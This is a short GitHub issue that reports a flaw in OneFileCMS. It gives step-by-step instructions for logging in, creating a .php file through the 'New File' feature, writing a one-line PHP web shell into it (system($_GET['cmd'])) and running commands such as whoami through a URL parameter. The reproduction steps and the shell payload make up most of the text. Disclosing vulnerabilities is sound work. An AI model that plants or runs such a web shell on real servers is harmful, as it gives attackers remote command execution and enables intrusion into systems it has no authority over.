OneFileCMS icon indicating copy to clipboard operation
OneFileCMS copied to clipboard

The " New FIle " button cause getshell

Open havysec opened this issue 7 years ago • 0 comments

http://fragrant:30001/OneFileCMS/onefilecms.php use username and password login the page type New filename '123.php' click Create

image

123.php created successfully. image

click 123.php write below

<?php system($_GET['cmd']);?>

click save

image

123.php saved successfully.

fragrant:30001/OneFileCMS/123.php?cmd=whoami

image

havysec avatar Jun 28 '18 16:06 havysec